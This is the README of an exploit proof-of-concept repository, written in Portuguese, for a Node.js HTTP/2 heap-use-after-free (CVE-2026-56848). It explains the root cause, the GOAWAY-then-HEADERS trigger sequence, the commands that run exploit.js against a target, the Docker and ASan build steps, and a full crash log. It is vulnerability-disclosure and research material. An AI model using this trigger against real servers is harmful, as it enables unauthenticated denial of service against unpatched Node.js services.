open-flaw/cve-2026-56848PoC de exploit para CVE-2026-56848, um heap-use-after-free no Node.js HTTP/2 que permite DoS remoto não autenticado. Inclui gatilho de raw-socket, instruções de build com ASan e alvo baseado em Docker.
Uma falha no tratamento de HTTP/2 no Node.js permite que
nghttp2_session_mem_send()seja chamado de forma reentrante enquantonghttp2_session_mem_recv()está em execução, resultando em um heap-use-after-free.Esta vulnerabilidade afeta Node.js 26.x, 24.x e 22.x.
(Nota: as versões mencionadas na descrição se aplicam apenas ao pacote upstream do nodejs e não ao pacote nodejs distribuído pelo Alpine.
| Linha de versão | Vulnerável | Corrigida |
|---|
| 22.x (LTS) | ≤ 22.23.1 | 22.23.2 |
| 24.x (LTS) | ≤ 24.18.0 | 24.18.1 |
| 26.x | ≤ 26.5.0 | 26.5.1 |
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — DoS remoto, não autenticado, via corrupção de heap)daa6d25e3dce — "http2: defer rst stream while in scope" (nodejs-private/node-private#921)Http2Stream::SubmitRstStream() em src/node_http2.cc força uma limpeza dos dados pendentes de saída antes de enfileirar o RST_STREAM:```cpp
void Http2Stream::SubmitRstStream(const uint32_t code) {
CHECK(!this->is_destroyed());
code_ = code;
// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }
// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }
FlushRstStream(); }
`SendPendingData()` chama `nghttp2_session_mem_send()` ([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970)). Sua única proteção de reentrância é `is_sending()`, que protege contra *envio-durante-envio* (uma escrita já em andamento) — **não contra envio-durante-recepção**. Quando `SubmitRstStream()` executa de dentro de uma cadeia de callbacks de `nghttp2_session_mem_recv()` ("em escopo"), a purga executa `mem_send()` de forma reentrante.
O `mem_send()` reentrante envia frames cujo processamento no lado do envio derruba streams (`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → liberação do `Http2Stream` C++). O stream liberado ainda é referenciado pela operação de recepção em andamento: o próprio `SubmitRstStream()` continua executando no `this` liberado (seu `FlushRstStream()` final lê `is_destroyed()`), e o `mem_recv()` externo continua percorrendo o estado de frames/headers do stream fechado → **heap-use-after-free**.
### Cadeia de gatilho (tudo dentro de uma única chamada a `nghttp2_session_mem_recv()`)
1. O atacante envia `GOAWAY(lastStreamID=0, NO_ERROR)` imediatamente seguido por frames `HEADERS` para novos streams (3, 5, 7, …) em um único segmento TCP.
2. O `mem_recv()` do servidor processa GOAWAY → o `session.close()` do JS → `session.closed = true` e um GOAWAY de saída é **submetido mas ainda não enviado**.
3. O nghttp2 só recusa novos streams de entrada depois que o GOAWAY é de fato *enviado* (`session_allow_incoming_new_stream()` verifica `TERM_ON_SEND | SENT`, não `SUBMITTED`), então `HEADERS(3)` ainda é aceito.
4. O `onSessionHeaders()` do JS vê um novo stream em uma sessão fechada e o recusa: `handle.rstStream(NGHTTP2_REFUSED_STREAM)` (lib/internal/http2/core.js).
5. O `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` do C++ executa em escopo (dentro de `mem_recv`), `REFUSED_STREAM ≠ CANCEL` → cai em `SendPendingData()` → **`nghttp2_session_mem_send()` reentrante**.
6. O envio reentrante descarrega o GOAWAY de saída; o processamento do GOAWAY no lado do envio do nghttp2 fecha streams de entrada com id > 1 (`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`), disparando `on_stream_close` → `Http2Stream::Destroy()` libera o objeto C++ do stream para o stream 3.
7. A execução retorna para `SubmitRstStream()` no objeto liberado (`FlushRstStream()`), e o `mem_recv()` externo retoma em estado de sessão/stream corrompido → UAF.
Evidência de `NODE_DEBUG_NATIVE=http2` em um servidor vulnerável (uma leitura de 86 bytes):```
receiving 86 bytes, offset 0
complete frame received: type: 7 ← GOAWAY
submitting goaway ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3 ← still accepted (only SUBMITTED)
handle headers frame for stream 3 ← JS: session.closed → refuse
sending rst_stream with code 7 ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data ← RE-ENTRANT mem_send()
stream 3 closed with code: 7 ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream ← Http2Stream freed mid-recv
A saída no nível de fio é idêntica em builds vulneráveis e corrigidos (ambos acabam enviando apenas o GOAWAY de saída — em builds vulneráveis o RST é submetido contra um stream já fechado, em builds corrigidos o nghttp2 descarta os RSTs enfileirados assim que o GOAWAY é enviado primeiro). A diferença é interna, visível com NODE_DEBUG_NATIVE=http2:
sending pending data aparece entre sending rst_stream with code 7 e stream 3 closed with code: 7 — o mem_send() reentrante executa no meio do receive e fecha/destrói o stream 3 enquanto mem_recv() ainda está em andamento (crash sob ASan).sending pending data entre eles — o RST é meramente enfileirado; o stream 3 é fechado apenas durante o flush normal pós-receive.server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger
### Execução rápida```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000 # NODE_BIN=/path/to/node for a specific binary
# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200
./bin/node (o build ASan local usado abaixo) não é rastreado no git — compile-o com as instruções em "Construindo um Node.js vulnerável instrumentado com ASan", ou use a rota via Docker.
O exploit reporta o status por conexão; SKIPPED (no handshake) após a primeira conexão significa que o alvo já morreu em decorrência do ataque.
O Dockerfile compila um alvo vulnerável v22.23.1 com ASan dentro de um contêiner (nenhuma toolchain local é necessária — apenas o daemon do Docker):```bash
docker build -t cve-2026-56848 .
docker run --rm -p 8000:8000 --name cve-target cve-2026-56848
node exploit.js --port 8000 --iterations 10
docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed
Dica: se você já tiver um binário `node` instrumentado com ASan compilado em outro lugar, pule a
compilação longa e empacote-o diretamente:```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
&& cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
--change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
--change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
cve-img cve-2026-56848:verified
Verificado contra o alvo containerizado: a primeira conexão de ataque produz
ERROR: AddressSanitizer: heap-use-after-free ... ABORTING em docker logs e
o contêiner sai (133 em linux/arm64) — a mesma UAF que a execução nativa com ASan.
Variante simples (sem ASan) usando uma imagem oficial, para ataques repetidos sem uma build personalizada:```bash
docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js
node:22.23.1-alpine node /server.js 8000
Nota: se o ASan falhar ao iniciar dentro do contêiner com um erro de intervalo de memória sombra (observado em alguns kernels ARM64 com `vm.mmap_rnd_bits` alto), reduza a entropia no host Docker: `sysctl vm.mmap_rnd_bits=28`.
### Construindo um Node.js vulnerável instrumentado com ASan```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)
# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --debug --ninja && ninja -C out/Debug node
A compilação ASan reproduz o heap-use-after-free de forma determinística (normalmente nas primeiras conexões). Compilações release comuns não costumam travar porque o bloco liberado não é reutilizado imediatamente; martelar aumenta as chances, mas o ASan é a forma confiável de demonstrar a corrupção.
| Alvo | Resultado |
|---|---|
| v22.23.1 + ASan (vulnerável) | Trava na primeira conexão de ataque: heap-use-after-free → SIGABRT, código de saída do runner 0 |
| v22.23.2 (corrigida) | Sobrevive a todas as conexões, código de saída do runner 1 |
Relatório do ASan (trecho, compilação v22.23.1 para macOS arm64):``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 1 at 0x60d000003cdc thread T0 #0 session_end_stream_headers_received nghttp2_session.c:3711 #1 session_after_header_block_received nghttp2_session.c:3824 #2 nghttp2_session_mem_recv2 nghttp2_session.c:6506 #3 nghttp2_session_mem_recv nghttp2_session.c:5421 #4 node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
freed by thread T0 here: ... #5 nghttp2_session_destroy_stream nghttp2_session.c:1369 #6 nghttp2_session_close_stream nghttp2_session.c:1350 #7 session_close_stream_on_goaway nghttp2_session.c:2442 #8 session_after_frame_sent1 nghttp2_session.c:2665 #9 nghttp2_session_mem_send2 nghttp2_session.c:3144 ← re-entrant send #10 node::http2::Http2Session::SendPendingData() node_http2.cc:1970 #11 node::http2::Http2Stream::SubmitRstStream(...) node_http2.cc:2535
O `mem_recv()` externo lê `stream->shut_flags` do `nghttp2_stream` do stream 3 — liberado pelo processamento GOAWAY do `mem_send()` reentrante — exatamente a reentrância descrita no advisory.```zsh
➜ ./bin/node server.js 8000
[server] listening on 8000
=================================================================
==46874==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000003cdc at pc 0x00010984c5fc bp 0x00016b3e8c60 sp 0x00016b3e8c58
READ of size 1 at 0x60d000003cdc thread T0
#0 0x00010984c5f8 in session_end_stream_headers_received nghttp2_session.c:3711
#1 0x00010983e7d8 in session_after_header_block_received nghttp2_session.c:3824
#2 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#3 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#4 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#5 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#6 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#7 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#8 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#9 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#10 0x0001085e025c in uv__read stream.c:1148
#11 0x0001085d5568 in uv__stream_io stream.c:1208
#12 0x000108600844 in uv__io_poll kqueue.c:423
#13 0x000108599e94 in uv_run core.c:460
#14 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#15 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#16 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#17 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#18 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#19 0x00010928e3d4 in main node_main.cc:97
#20 0x000189482b94 (<unknown module>)
0x60d000003cdc is located 124 bytes inside of 136-byte region [0x60d000003c60,0x60d000003ce8)
freed by thread T0 here:
#0 0x000117991424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d424)
#1 0x000104bebe3c in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:261
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f80 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::FreeImpl(void*, void*) node_mem-inl.h:83
#4 0x00010981a450 in nghttp2_mem_free nghttp2_mem.c:61
#5 0x000109825aa8 in nghttp2_session_destroy_stream nghttp2_session.c:1369
#6 0x0001098258ac in nghttp2_session_close_stream nghttp2_session.c:1350
#7 0x00010983002c in session_close_stream_on_goaway nghttp2_session.c:2442
#8 0x000109828e64 in session_after_frame_sent1 nghttp2_session.c:2665
#9 0x000109826804 in nghttp2_session_mem_send2 nghttp2_session.c:3144
#10 0x000109826724 in nghttp2_session_mem_send nghttp2_session.c:3124
#11 0x00010509e878 in node::http2::Http2Session::SendPendingData() node_http2.cc:1970
#12 0x0001050a359c in node::http2::Http2Stream::SubmitRstStream(unsigned int) node_http2.cc:2535
#13 0x0001050b973c in node::http2::Http2Stream::RstStream(v8::FunctionCallbackInfo<v8::Value> const&) node_http2.cc:3044
#14 0x0001086163d4 in Builtins_CallApiCallbackGeneric+0xb4 (node:arm64+0x103c0e3d4)
#15 0x00010861432c in Builtins_InterpreterEntryTrampoline+0x10c (node:arm64+0x103c0c32c)
#16 0x0001086117c8 in Builtins_JSEntryTrampoline+0xa8 (node:arm64+0x103c097c8)
#17 0x0001086114b0 in Builtins_JSEntry+0x90 (node:arm64+0x103c094b0)
#18 0x000105ff5358 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:418
#19 0x000105ff408c in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) execution.cc:504
#20 0x00010590caac in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) api.cc:5485
#21 0x000104af5168 in node::InternalMakeCallback(node::Environment*, v8::Local<v8::Object>, v8::Local<v8::Object>, v8::Local<v8::Function>, int, v8::Local<v8::Value>*, node::async_context, v8::Local<v8::Value>) callback.cc:237
#22 0x000104b69780 in node::AsyncWrap::MakeCallback(v8::Local<v8::Function>, int, v8::Local<v8::Value>*) async_wrap.cc:665
#23 0x0001050a463c in node::http2::Http2Session::HandleHeadersFrame(nghttp2_frame const*) node_http2.cc:1567
#24 0x000105092e68 in node::http2::Http2Session::OnFrameReceive(nghttp2_session*, nghttp2_frame const*, void*) node_http2.cc:1107
#25 0x00010982b5b0 in session_call_on_frame_received nghttp2_session.c:3229
#26 0x00010983e72c in session_after_header_block_received nghttp2_session.c:3815
#27 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#28 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#29 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
previously allocated by thread T0 here:
#0 0x000117991520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
#1 0x000104bebe58 in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:265
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f3c in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::MallocImpl(unsigned long, void*) node_mem-inl.h:77
#4 0x00010981a3a0 in nghttp2_mem_malloc nghttp2_mem.c:57
#5 0x000109824728 in nghttp2_session_open_stream nghttp2_session.c:1227
#6 0x000109829ee8 in nghttp2_session_on_request_headers_received nghttp2_session.c:3910
#7 0x00010983c454 in session_process_headers_frame nghttp2_session.c:4058
#8 0x000109833ad4 in nghttp2_session_mem_recv2 nghttp2_session.c:5657
#9 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#10 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#11 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#12 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#13 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#14 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#15 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#16 0x0001085e025c in uv__read stream.c:1148
#17 0x0001085d5568 in uv__stream_io stream.c:1208
#18 0x000108600844 in uv__io_poll kqueue.c:423
#19 0x000108599e94 in uv_run core.c:460
#20 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#21 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#22 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#23 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#24 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#25 0x00010928e3d4 in main node_main.cc:97
#26 0x000189482b94 (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free nghttp2_session.c:3711 in session_end_stream_headers_received
Shadow bytes around the buggy address:
0x60d000003a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003a80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x60d000003b00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x60d000003b80: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003c00: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
=>0x60d000003c80: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa
0x60d000003d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==46874==ABORTING
[1] 46874 abort ./bin/node server.js 8000